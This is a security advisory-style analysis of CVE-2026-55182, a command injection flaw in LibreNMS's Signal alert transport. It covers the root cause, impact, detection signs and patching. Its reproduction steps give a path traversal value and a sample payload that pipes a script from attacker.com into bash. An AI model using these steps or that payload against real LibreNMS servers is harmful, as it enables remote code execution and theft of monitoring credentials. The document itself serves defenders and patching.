CVE-2026-55182: 
PHP vulnerability analysis and mitigation

CVE-2026-55182 is a command injection vulnerability in LibreNMS's Signal Alert Transport module that allows an authenticated administrator to execute arbitrary code on the host server. It affects LibreNMS versions >= 21.6.0 and was patched in version 26.5.0, released May 18, 2026. The vulnerability was originally published on June 10, 2026, and added to the GitHub Advisory Database on August 18, 2026. It carries a CVSS v4.0 base score of 8.6 (High) (GitHub Advisory).

The root cause is improper neutralization of special elements in a command (CWE-77), specifically in two locations: the deliverAlert function in LibreNMS/Alert/Transport/Signal.php and the scripts/composer_wrapper.php script. The Signal.php file makes an unsafe exec call where the signal-cli path and the Recipient field lack sufficient escaping, allowing semicolons and other shell metacharacters to be injected. An attacker can chain these two unsafe exec calls by setting the Path field to ../scripts/composer_wrapper.php (a path traversal) and injecting shell commands into the Recipient field prefixed and suffixed with ;, enabling execution of any binary on the server's filesystem (GitHub Advisory, LibreNMS Advisory).

Successful exploitation grants the attacker remote code execution (RCE) as the web application's service account, enabling complete system compromise, unauthorized access to sensitive monitoring data (network topology, credentials, SNMP community strings), data exfiltration, and potential lateral movement within the monitored network infrastructure. Confidentiality, integrity, and availability of the vulnerable LibreNMS host are all fully impacted (GitHub Advisory).

A detailed proof-of-concept (PoC) is publicly documented in the GitHub Security Advisory, describing the exact steps to reproduce the exploit via the LibreNMS web interface. However, exploitation requires authenticated administrator-level access, which limits the attack surface. As of the advisory publication date, there is no evidence of in-the-wild exploitation or threat actor attribution, and the CVE is not listed in the CISA KEV catalog (GitHub Advisory, Feedly).

1. Authenticate as Administrator: Log in to the LibreNMS web interface with an account that has administrative privileges.
2. Navigate to Alert Transports: Go to Dashboard → Alert → Alert Transports.
3. Create a malicious transport entry: Click to create a new Alert Transport entry. Select Signal as the Transport type.
4. Set the Path to composer_wrapper.php: In the Path field, enter ../scripts/composer_wrapper.php to redirect execution to the vulnerable wrapper script via path traversal.
5. Inject the command payload: In the Recipient field, enter the desired command surrounded by semicolons, e.g., ;id; or ;curl http://attacker.com/shell.sh | bash;.
6. Save and trigger execution: Click Save Transport. Once saved, click the Test Transport button under the Action column for the newly created entry.
7. Achieve RCE: The injected command is executed on the host server as the LibreNMS service account, completing the attack (GitHub Advisory, LibreNMS Advisory).

• Logs: LibreNMS application logs showing creation or modification of an Alert Transport entry with Signal type, particularly with a Path value containing ../scripts/composer_wrapper.php; web server access logs showing POST requests to Alert Transport save/test endpoints from unexpected sources.
• Process: Unexpected child processes spawned by the LibreNMS PHP/web server process (e.g., bash, sh, curl, wget, python, nc) with unusual arguments or network connections.
• Network: Outbound connections from the LibreNMS server to unknown external IP addresses or domains, particularly following Alert Transport test actions; reverse shell connections on non-standard ports.
• File System: New or modified files in the LibreNMS installation directory or /tmp, such as web shells, downloaded scripts, or SSH authorized_keys modifications created by the web server user.

Upgrade LibreNMS to version 26.5.0 or later, which includes fixes for argument escaping in scripts/composer_wrapper.php and restricts executable path configuration in LibreNMS/Alert/Transport/Signal.php (LibreNMS Release). As a workaround prior to patching, restrict administrative access to the Alert Transports configuration to only fully trusted users, and consider disabling the Signal transport type if it is not in use. The remediation advice also recommends avoiding direct user-controlled executable paths in the web interface and instead using CLI-only configuration for such settings (GitHub Advisory).